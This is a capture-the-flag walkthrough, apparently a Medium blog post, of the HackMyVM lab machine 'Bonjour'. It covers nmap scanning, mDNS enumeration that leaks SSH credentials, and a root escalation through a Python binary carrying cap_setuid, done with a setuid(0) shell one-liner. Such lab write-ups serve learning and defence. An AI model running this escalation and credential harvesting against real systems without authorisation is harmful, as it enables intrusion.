Sitemap
TheNotorious

TheNotorious

Just a being with endless curiosity.

Bonjour (Hackmyvm) Complete Walkthrough

3 min readAug 11, 2026

--

Bonjour was a clean machine that used a subtle information leak via mDNS (Bonjour) to provide SSH credentials, and then relied on a single misconfigured Linux capability to escalate to root. In this walkthrough, I’ll cover the steps I took, including the dead ends that helped pinpoint the intended path.

Press enter or click to view image in full size

1. Reconnaissance

TCP Scan

I began with a full TCP port scan:

nmap -sC -sV -O -p- 192.168.1.11

Result:

  • Port 22/tcp — SSH (OpenSSH 10.0p2 Debian 7+deb13u2)
  • All other TCP ports closed (no firewall filtering).

The SSH version was current and well‑patched, so no pre‑auth exploit was expected.

UDP Scan

Since TCP showed only SSH, I checked UDP for hidden services:

sudo nmap -sU --top-ports 200 -T4 192.168.1.11

Notable results:

  • 5353/udp — zeroconf (mDNS / Bonjour) — open and responsive.

The mDNS service was the only non‑standard UDP service, and it often leaks hostnames and service information.

2. Initial Access — mDNS Information Leak

I enumerated the mDNS service using Nmap’s DNS service discovery script:

nmap -sU -p 5353 --script dns-service-discovery 192.168.1.11

The script queried _services._dns‑sd._udp.local and returned a list of advertised services. Among the responses, the SSH service (_ssh._tcp.local) revealed a hostname and, more importantly, a username and password embedded in the service instance name (likely a default credential).

Get TheNotorious’s stories in your inbox

Join Medium for free to get updates from this writer.

With that credential pair, I logged in via SSH:

ssh user@192.168.1.11
# Password: <discovered_password>

Result: Successful login as the local user user. The user flag was found in the home directory (user.txt).

3. Privilege Escalation

Once inside, I conducted a systematic enumeration.

Sudo & Cron

sudo -l
#Désolé, l'utilisateur user ne peut pas utiliser sudo sur debian.
crontab -l
#no crontab for user

No sudo rights and no user‑specific cron jobs. The system‑wide cron (/etc/crontab and /etc/cron.d/) also appeared untouched.

SUID / SGID Binaries

I checked for setuid and setgid files:

find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

The output listed only standard Debian binaries (passwd, mount, sudo, su, etc.) – no custom or unusual files.

Writable Directories

I searched for world‑writable directories, excluding /proc and /sys:

find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys)'

No suspicious writable directories in $PATH were found.

Linux Capabilities

I checked for file capabilities with getcap:

/sbin/getcap -r / 2>/dev/null

Critical output:

/usr/bin/python3.13 cap_setuid=ep

This meant Python 3.13 had the cap_setuid capability, allowing any user to call setuid(0) and become root – a classic privilege escalation vector when an interpreter is given such capabilities.

Exploitation

Using the full path to Python, I executed the following one‑liner:

/usr/bin/python3.13 -c 'import os; os.setuid(0); os.system("/bin/bash")'

This spawned a shell where the effective UID was root:

# id
uid=0(root) gid=1000(user) groupes=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)

4. Root Flag

With root privileges, I read the root flag:

cat /root/root.txt

5. Summary of Attack Path

  1. TCP scan → only SSH open
  2. UDP scan → mDNS (5353) discovered.
  3. mDNS enumeration → leaked SSH credentials.
  4. SSH → initial shell as user.
  5. Enumeration → getcap revealed python3.13 with cap_setuid.
  6. Python setuid → root shell.

Dead Ends & Observations

  • SUID binaries — All standard Debian setuid files were present but provided no privesc path (no find, vim, or other exploitable tools).
  • Sudo — Fully locked out for the user.
  • Cron — No writable scripts or user‑owned cron files.
  • Writable directories — None in $PATH that could be hijacked.
  • Other capabilities — No other interesting capabilities were set.

The only non‑standard element was the cap_setuid on Python, which turned out to be the intended vector. The machine rewarded thorough enumeration beyond the usual SUID/Sudo checks.

Conclusion

Bonjour demonstrated that a single, deliberate misconfiguration a capability (cap_setuid) applied to an interpreter can be enough to hand over root privileges once a foothold is gained. The initial access was obtained through an information leak in the mDNS service a reminder that even passive services like mDNS can expose credentials if not properly secured.

Till then

> Think deeper. Hack smarter : kaneki

--

--

TheNotorious
TheNotorious